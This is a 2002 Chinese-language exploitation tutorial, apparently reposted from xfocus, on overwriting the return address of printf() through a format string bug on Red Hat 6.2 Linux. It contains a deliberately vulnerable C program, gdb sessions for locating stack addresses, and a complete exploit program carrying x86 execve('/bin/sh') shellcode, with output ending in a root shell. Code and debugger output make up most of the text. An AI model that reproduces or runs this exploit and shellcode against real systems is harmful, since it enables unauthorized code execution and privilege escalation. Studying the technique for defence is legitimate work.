[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
利用格式化串覆蓋*printf()系列函數本身的返回地址
本文出自:www.xfocus.net 作者:alert7(alert7@netguard.com.cn) (2002-08-09 06:02:00)

測試環境:linux redhat 6.2 kernel 2.2.14

★ 前言

在scut寫的<<Exploiting Format String Vulnerabilities v1.2>>中列出了六種比較
通用的方法來獲得控制權:

1. 覆蓋GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 結構(靜態編譯版本才行)
5. 覆蓋函數指針
6. 覆蓋jmpbuf's

在這裡,不想討論上面這些東西,請自行參考相關資料

但是有些時候,你只能覆蓋0xbfff0000-0xbfffffff的地址空間,因為是format string 
被程序做了限制,而程序又調用了exit(0),(也許你沒有碰到過這樣類似的漏洞程序,但我
碰到了,而且比這個要求還更苛刻:( ) 所以利用覆蓋GOT、利用DTORS、利用C library hooks
這些技術都行不通了,因為這些地址以0x08打頭(C library hooks是0x04打頭)。覆蓋main
返回地址也不行。那總該覆蓋到點什東西使我們的shellcode得到控制權吧。

★ 覆蓋格式化函數自己的返回地址

一般的buffer overflow的情況下,是不可能覆蓋到象*printf()這種glibc函數的返回地址的,
但是format string就給了我們機會,而且個人認為精確度會更高。
比如說printf(buf),就利用格式化串的buf來覆蓋printf函數的返回地址。


★ 存在格式化字符串問題的程序

[alert7@redhat62 alert7]# cat vul.c

#include <stdio.h> 
int main(int argc,char **argv) 

char buf[10000]; 
bzero(buf,10000); 
if (argc==2) { 
strncpy(buf,argv[1],9999); 
printf(buf); 


[alert7@redhat62 alert7]# gcc -o vul vul.c -g


★ 精確定位幾個數據

一查看垃圾數據個數(以4字節為單位)

[alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p
aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)
我們看到沒有垃圾數據 X=0;如果不明白怎回事,請查閱
<<Exploiting Format String Vulnerabilities >>

二查看format string 地址

[alert7@redhat62 alert7]# gdb vul -q
(gdb) disass main
Dump of assembler code for function main:
0x8048438 <main>:       push   %ebp
0x8048439 <main+1>:     mov    %esp,%ebp
0x804843b <main+3>:     sub    $0x2710,%esp
0x8048441 <main+9>:     push   $0x2710
0x8048446 <main+14>:    lea    0xffffd8f0(%ebp),%eax
0x804844c <main+20>:    push   %eax
0x804844d <main+21>:    call   0x8048364 <bzero>
0x8048452 <main+26>:    add    $0x8,%esp
0x8048455 <main+29>:    cmpl   $0x2,0x8(%ebp)
0x8048459 <main+33>:    jne    0x8048487 <main+79>
0x804845b <main+35>:    push   $0x270f
0x8048460 <main+40>:    mov    0xc(%ebp),%eax
0x8048463 <main+43>:    add    $0x4,%eax
0x8048466 <main+46>:    mov    (%eax),%edx
0x8048468 <main+48>:    push   %edx
0x8048469 <main+49>:    lea    0xffffd8f0(%ebp),%eax
0x804846f <main+55>:    push   %eax
0x8048470 <main+56>:    call   0x8048374 <strncpy>
0x8048475 <main+61>:    add    $0xc,%esp
0x8048478 <main+64>:    lea    0xffffd8f0(%ebp),%eax
0x804847e <main+70>:    push   %eax
0x804847f <main+71>:    call   0x8048354 <printf>
0x8048484 <main+76>:    add    $0x4,%esp
0x8048487 <main+79>:    leave
0x8048488 <main+80>:    ret
End of assembler dump.

(gdb) b * 0x804847f
Breakpoint 1 at 0x804847f: file vul.c, line 8.
(gdb) r aaaa
Starting program: /home/alert7/overflow/sploit/vul aaaa

Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8
8       printf(buf);

(gdb)  p &buf
$1 = (char (*)[10000]) 0xbfffd468
~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr

(gdb) i reg $eax $esp $ebp
eax            0xbfffd468       -1073752984
esp            0xbfffd464       -1073752988
ebp            0xbffffb78       -1073742984


(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0xbffffcbf      0xbfffd468      0x61616161      0x00000000

(gdb) si
0x8048354 in printf () at printf.c:26
26      printf.c: No such file or directory.

(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0x08048484      0xbfffd468      0x61616161      0x00000000
~~~~~~~~~~~~~~~~~^就這個地址,已經變成了0x08048484,就是該printf函數的返回地址,
所以我們也找到了printf函數返回地址存放的地址:0xbfffd460
其實0xbfffd464地址的內容就是push %eax下去的東西
0xbfffd460為該printf上下文的棧幀的EIP存放地址


三 計算printf函數返回地址存放的地址

現在來用公式表達一下printf函數返回地址存放的地址:(format string addr) -(X*4)-8
format string addr是可以暴力猜測的。X更是可以簡單的得到,所以這個地址是很精確的。
當然不同的系統不同的格式化串等等都會導致*printf系列函數返回地址存放的地址不一樣,需要
自行研究和糾正公式,這裡只是個簡單的演示,意在拋磚引玉。


★ 看看我們的利用程序

[alert7@redhat62 alert7]# cat exp.c
/*e*/
#include <stdlib.h>                                             
#include <unistd.h>                                             
                                                               
#define DEFAULT_OFFSET                    0                     
#define DEFAULT_ALIGNMENT                 0                     
#define DEFAULT_RETLOC                  0xbfffd468-0*4-8 //F-X*4-8
                          //F為格式化字符串地址
                          //X為垃圾的個數,X*4也就是
                          //從esp到F的長度

#define NOP                            0x90                     

char shellcode[] =                     
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
                                   
int main(int argc, char *argv[]) {                             
  char *ptr;                                       

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];                
  char buf1[5000];

  printf("Using RET location address: 0x%x\n", retloc); 
  shell_addr = retloc+80;
  printf("Using Shellcode address: 0x%x\n", shell_addr); 
   
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>  0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       
        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
    /*推薦構造格式化串的時候使用%hn*/
}

if ((SH1 )>(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
    {
    printf("不能用一個printf實現這種情況\n");
    }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./vul","vul",buf1, NULL,NULL);       
}

[alert7@redhat62 alert7]# gcc -o exp exp.c
[alert7@redhat62 alert7]# ./exp
    ......(省略了一些printf出來的亂信息)
               B1F
                      ?
                       
                         ?圬@丸?/bin/sh[alert7@redhat62 alert7]#
怎會沒有成功呢,我們來看看怎回事,在vul.c的printf(buf)之前加個sleep(30);
先在一個tty上運行./exp,在另外一個tty上如下操作:
[alert7@redhat62 /alert7]# ps -aux|grep vul
alert7       892  0.3  0.3  1084  296 pts/0    S    10:41   0:00 vul BBBBb?BBB`
alert7       895  0.0  0.5  1360  508 pts/3    S    10:42   0:00 grep vul
[alert7@redhat62 alert7]# gdb vul -q
(gdb) attach 892
Attaching to program: /home/alert7/vul, Pid 892
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400a9c61 in __libc_nanosleep () from /lib/libc.so.6
(gdb) b printf
Breakpoint 1 at 0x4006605c: file printf.c, line 30.
(gdb) c
Continuing.

Breakpoint 1, printf (
    format=0xbfffd718 "BBBBb?BBB`??49135c%hn%5297c%hn", '\220' <repeats 128
times>, "037^\211v\b1210F\a\211F\f013\211215N\b\215V\f200121120
0柢"...) at printf.c:30
30      printf.c: No such file or directory.
我們可以看到,用execle出來的format string地址就不是原來的0xbfffd468了,而是現在的
format=0xbfffd718了,所以我們的exploit程序應該修改這個地址。重新編譯執行。
[alert7@redhat62 alert7]# ./exp
.....(省略了一些printf出來的亂信息)
B1F

?圬@ash#
bash# :)OK,成功了!!!

★ 小結

利用格式化串覆蓋*printf()系列函數本身的返回地址應該是個很不錯的方法,而且在格式串
問題上顯的很有優勢,精確度更高。
最,歡迎來email討論。


參考資料:
<<Exploiting Format String Vulnerabilities >> by scut /team teso (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★